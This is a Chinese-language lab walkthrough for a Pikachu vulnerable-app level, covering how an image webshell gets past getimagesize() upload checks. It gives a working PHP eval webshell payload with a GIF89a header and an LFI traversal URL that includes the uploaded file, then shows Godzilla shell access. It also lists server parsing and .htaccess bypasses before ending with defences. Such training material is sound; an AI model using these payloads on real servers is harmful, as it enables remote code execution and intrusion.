1. 漏洞概述
在文件上传防御中,getimagesize() 是常用的后端检测函数。它通过读取文件头部的二进制数据(Magic Number)来判断文件是否为合法的图片,并获取其宽高等信息。
然而,getimagesize() 只负责判断“这是不是一张图片”,而不负责判断“这里面有没有别的东西”。攻击者可以在保持文件头部合法(欺骗检测)的同时,在文件末尾或注释区插入恶意 PHP 代码(图片马)。
关键点: 由于服务器强制重命名并保留了图片后缀(如 .jpg),单独上传图片马无法触发代码执行。
- 如果保留 .php 后缀:服务器检测后缀名(白名单),上传直接失败。
- 如果改成 .jpg 后缀:服务器通过了(因为后缀是 jpg,且你可以伪造图片头过 getimagesize),但是!Web 服务器(Apache/Nginx)默认不解析 .jpg 文件为 PHP 代码。访问它,它只是一张损坏的图片,代码不会执行。
破局的关键:
在这一关(以及实战中),当后缀名无法绕过时,文件上传漏洞通常不是独立存在的,它需要配合“文件包含漏洞 (Local File Inclusion – LFI)”或者“Web 服务器解析漏洞”来利用。
在 Pikachu 靶场的设计中,这一关的预期解法是:制作“图片马”上传 -> 利用靶场内的“文件包含漏洞”去包含这个图片。因为 include() 函数不管文件后缀是什么,只要内容里有 PHP 标签,它都会当作 PHP 代码执行!
2. 源码深度审计
本次关卡的后端逻辑非常严密(看似),主要包含三层检测:
// 1. 后缀名白名单检测
$arr_filename=pathinfo($_FILES[$key]['name']);
if(!in_array(strtolower($arr_filename['extension']),$type)){
// 拦截 .php, .phtml 等后缀
return error;
}
// 2. MIME 类型检测 (弱检测)
if(!in_array($_FILES[$key]['type'], $mime)){
// 拦截 Content-Type 不对的包
return error;
}
// 3. getimagesize 内容检测 (强检测)
if(!getimagesize($_FILES[$key]['tmp_name'])){
// 读取文件头,如果不是图片格式则拦截
return error;
}
// 4. 文件重命名 (安全措施)
// 使用 uniqid + mt_rand 生成随机文件名,防止利用已知文件名漏洞
$new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true));
$new_filename.=".{$arr_filename['extension']}";
// 注意:这里保留了原始合法的图片后缀 (如 .jpg)
分析:
这段代码封死了直接上传 .php 的路,也封死了伪造 MIME 的空文件。它强迫上传一个“真正的”图片。但是,它没有对文件内容进行 清洗(Sanitization)。
3. 闯关实操 (Attack Vector)
步骤一:制作“图片马”
我们需要欺骗 getimagesize(),最简单的方法是在文件头部加上图片标识。
方法 A (命令行合成):
准备一张正常的小图片 a.jpg 和一个写有一句话木马的 shell.php。
在 cmd 中执行:copy a.jpg /b + shell.php /a shell.jpg
生成的新文件 shell.jpg 既有图片头,又有 PHP 代码。


方法 B (伪造文件头 – 推荐):
直接用文本编辑器(或 Hex 编辑器)新建一个文件,内容如下(GIF89a 是 GIF 的文件头标识):
- 方法: 创建一个文本文件,写入
GIF89a(GIF 文件头),紧接着写入 Webshell 代码。 - Payload:
GIF89a
<?php eval($_POST["pass"]);
(注:保存为shell.jpg。)

步骤二:上传并绕过
- 上传
shell.jpg。 - 后端检测后缀 ->
.jpg(Pass)。 - 后端检测 MIME -> 浏览器自动设为
image/jpeg(Pass)。 - 后端检测
getimagesize-> 读到头部GIF89a,认为是图片 (Pass)。 - 结果: 上传成功,服务器返回路径:
uploads/2025/12/19/63612669452798b9135599482608.jpg。

步骤三:LFI 组合利用
直接访问该 .jpg 无法执行代码。回到 File Inclusion (Local) 关卡。
构造 URL,利用目录遍历去包含刚才上传的图片马:
http://localhost:8899/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2025/12/19/63612669452798b9135599482608.jpg&submit=%E6%8F%90%E4%BA%A4

步骤四:Godzilla 连接
- 目标 URL: 填入上面的文件包含 URL。
- 有效载荷:
PhpDynamicPayload - 加密器:
PHP_EVAL_XOR_BASE64 - 结果: 成功获取 Shell,如截图所示,当前用户为
www-data,系统为 Linux。


4. 深度思考:如果没有文件包含漏洞怎么办?
如果目标网站只有这一个上传点,没有文件包含漏洞,后缀名又锁死白名单,还有机会吗?
- Web 服务器解析漏洞:
- Nginx 解析漏洞: 访问 shell.jpg/.php,旧版 Nginx 会把 jpg 当 php 执行。
- Apache 解析漏洞: 上传 shell.php.aaa.bbb,Apache 从右往左识别,不认识 aaa 和 bbb,最后识别到 php 进行执行(需要未配置好)。
- IIS 6.0 解析漏洞: 上传 shell.asp;.jpg。
- 配置文件覆盖 (.htaccess / .user.ini):
- 如果服务器允许上传 .htaccess 文件(且未检测),你可以上传一个 .htaccess,内容为 AddType application/x-httpd-php .jpg。这样服务器就会把 .jpg 当作 PHP 执行。之后再上传图片马即可。
5. 防御与修复 (Defense)
既然 getimagesize 也不可靠,该如何彻底防御图片上传漏洞?
- 二次渲染 (Secondary Rendering):
这是防御图片马最有效的方法。不要直接保存用户上传的图片,而是使用 GD 库或 ImageMagick 将图片 重新读取并生成 一遍。- 原理: 重绘过程会丢弃图片中非图像数据的部分(即我们插入的 PHP 代码),生成一张纯净的新图片。
// 简单示例 $im = imagecreatefromjpeg($uploaded_file); imagejpeg($im, $new_save_path); // 保存后的图片将不包含恶意代码 imagedestroy($im); - 云存储 (OSS/S3):
将图片直接上传到云存储(如阿里云 OSS、AWS S3),并使用专门的静态域名访问。这样即使上传了木马,也无法在应用服务器上执行,因为文件根本不在本地,且对象存储通常不支持 PHP 解析。 - 强力的 WAF/RASP:
检测文件内容中是否包含<script language="php">、eval、base64_decode等危险关键字。 - 修复文件包含漏洞:
本题能成功的根本原因是有 LFI 漏洞。如果没有 LFI,图片马就真的只是一张打不开的图片而已。修复 LFI 漏洞(限制包含文件的目录 / 后缀)是切断攻击链的关键。